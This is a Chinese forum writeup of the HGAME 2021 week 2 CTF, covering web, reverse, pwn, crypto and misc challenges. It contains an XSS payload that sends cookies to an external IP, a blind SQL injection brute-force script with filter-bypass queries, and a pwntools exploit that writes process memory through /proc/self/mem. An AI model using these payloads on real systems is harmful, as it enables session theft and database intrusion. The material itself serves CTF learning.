首页
社区
课程
招聘
[原创] 杭电hgame2021 week2 writeup
发表于: 2021-5-27 14:06 11858

[原创] 杭电hgame2021 week2 writeup

2021-5-27 14:06
11858

QQ图片20210215125559

www.zip可获得源码,分析一下php就行

xss,写个爆破md5的脚本,在服务器搭个接收cookie的环境

xss的payload

sql盲注,根据status字段来回显,采取一个一个字符爆破的方式,select from where需要大小写绕过

条件竞争,抓个买一台的包,然后多线程重复发包就行

一个标准的AESCBC加密,密文和密钥在解压缩出来的strings文档里,密钥的md5作为IV,然后找个在线网站解即可

第一个password比较简单,把比较的字符串提取出来就行

第二个password有个创建子进程的操作,这时候我们可以先启动程序,输入第一个password,然后在等待password2输入的时候attach上去,即可绕过

然后password2就是调用了windowsAPI的一个AESCBC加密,调试拿到密钥和IV,在线网站就可以解

nc连上去,根据回显,就是个异或,一个一个字符弄出flag就行

涉及到proc/self/maps和proc/self/mem的知识,首先maps可以输出当前文件加载的基地址,然后mem可以根据基地址来修改内存

还有就是输入购买数量的时候有个漏洞,当你输入的数字足够大,那么不仅不减钱,还会给你加钱

exp就不贴了,较简单

涉及到逆元的知识,还有费马小定理

基本RSA

白给RSA

这题相当于解六十四元异或方程组,可以用矩阵的知识解,这里我用的z3解

因为我这里把最右边当作第一位,所以输出的数据要倒序,最后转成十六进制,每两位就是一个字符,把七组数据代进脚本,解出后拼在一起就是flag

这题就是教了各种隐写工具,根据压缩包的名字就可以找到对应的工具,解套娃就行

音频隐写

中间有一段摩斯电码,长波为_,短波为.

解出来就是flag

用StegSolve可以得到一张二维码,扫描后是一串base64,先解码,再逆序,再转图片,最后翻转图片就可以得到flag

流量分析

wireshark打开,可以看到flag.hgame2021.cf这个网站,试着访问,F12可以看到提示SPF

即可得到flag

submit=getflag&_SESSESSIONSION[username]=admin
submit=getflag&_SESSESSIONSION[username]=admin
 
>;eikooc.tnemucod+'=eikooc?php.xedni/271.621.232.94//'=onitacol.tnemucod=rorreno x=crs gmi<
>;eikooc.tnemucod+'=eikooc?php.xedni/271.621.232.94//'=onitacol.tnemucod=rorreno x=crs gmi<
import requests
import string
import re
 
s = requests.session()
url = 'https://200ok.liki.link/server.php'
ans = ''
dict = string.ascii_letters+string.digits+string.punctuation
for i in range(1,60):
    print(i)
    for j in dict:
        #爆库名
        #payload = '''1'/**/or/**/ord(substr(database(),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        #爆表名
        #payload = '''1'/**/or/**/ord(substr((SELEct/**/TABle_name/**/FRom/**/INFORMAtion_SCHEma.TABles/**/WHere/**/TABle_SCHEma=database()/**/LIMiT/**/0,1),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        #爆列名
        #payload = '''1'/**/or/**/ord(substr((SELEct/**/Column_name/**/FRom/**/INFORMAtion_SCHEma.columns/**/WHere/**/TABle_NAMe='f1111111144444444444g'/**/LIMiT/**/0,1),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        #爆flag
        #payload = '''1'/**/or/**/ord(substr((SELEct/**/ffffff14gggggg/**/FRom/**/week2sqli.f1111111144444444444g/**/LIMiT/**/0,1),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        hd = {
            'Status': payload
        }
        ra = s.get(url=url,headers=hd).text
        #print(j)
        #print(hd)
        if 'HTTP 200 OK' in ra:
            #print(ra)
            print(j)
            ans += j
            print(ans)
            break
import requests
import string
import re
 
s = requests.session()
url = 'https://200ok.liki.link/server.php'
ans = ''
dict = string.ascii_letters+string.digits+string.punctuation
for i in range(1,60):
    print(i)
    for j in dict:
        #爆库名
        #payload = '''1'/**/or/**/ord(substr(database(),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        #爆表名
        #payload = '''1'/**/or/**/ord(substr((SELEct/**/TABle_name/**/FRom/**/INFORMAtion_SCHEma.TABles/**/WHere/**/TABle_SCHEma=database()/**/LIMiT/**/0,1),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        #爆列名
        #payload = '''1'/**/or/**/ord(substr((SELEct/**/Column_name/**/FRom/**/INFORMAtion_SCHEma.columns/**/WHere/**/TABle_NAMe='f1111111144444444444g'/**/LIMiT/**/0,1),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        #爆flag
        #payload = '''1'/**/or/**/ord(substr((SELEct/**/ffffff14gggggg/**/FRom/**/week2sqli.f1111111144444444444g/**/LIMiT/**/0,1),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        hd = {
            'Status': payload
        }
        ra = s.get(url=url,headers=hd).text
        #print(j)
        #print(hd)
        if 'HTTP 200 OK' in ra:
            #print(ra)
            print(j)
            ans += j
            print(ans)
            break
 
 
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
 
sh = remote('159.75.104.107',30398)
#sh = process('./shop')
sh.recvuntil('>> ')
sh.sendline('2')
sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil('>>')
payload ='/proc/self/maps'
sh.sendline(payload)
r=sh.recvuntil(">> ").splitlines()
print(r)
find=''
for i in r:
  if b'shop' in i and b'r--p' in i:
    find=i
    break
print (find)
elfbase=int(find[25:37],16)
print(hex(elfbase))
sh.sendline('3')
sh.recvuntil('>> ')
sh.sendline('111111111111111111111111111')
sh.recvuntil('>> ')
sh.sendline('3')
sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil('>> ')
sh.sendline('/proc/self/mem')
sh.recv()
sh.send(str(elfbase+8963))
sh.recv()
'''
sh.send(p64(8))
sh.recv()
sh.send(p64(0xaaaaaaaa))
sh.recvuntil('>> ')
sh.send('1')
sh.recvuntil('>> ')
sh.send('2')
sh.recvuntil('>> ')
sh.send('11111111111111111111111111')
sh.recvuntil('>> ')
sh.send('flag')
sh.recvuntil('>> ')
'''
sh.interactive()
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
 
sh = remote('159.75.104.107',30398)
#sh = process('./shop')
sh.recvuntil('>> ')
sh.sendline('2')
sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil('>>')
payload ='/proc/self/maps'
sh.sendline(payload)
r=sh.recvuntil(">> ").splitlines()
print(r)
find=''
for i in r:
  if b'shop' in i and b'r--p' in i:
    find=i
    break

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-6-15 20:00 被77pray编辑 ,原因:
上传的附件:
收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 234
活跃值: (862)
能力值: ( LV3,RANK:36 )
在线值:
发帖
回帖
粉丝
2
师傅,给份re的附件可以么
2021-5-27 16:27
0
雪    币: 1054
活跃值: (1772)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
Isweng 师傅,给份re的附件可以么
好啦
2021-6-15 20:00
0
游客
登录 | 注册 方可回帖
返回
//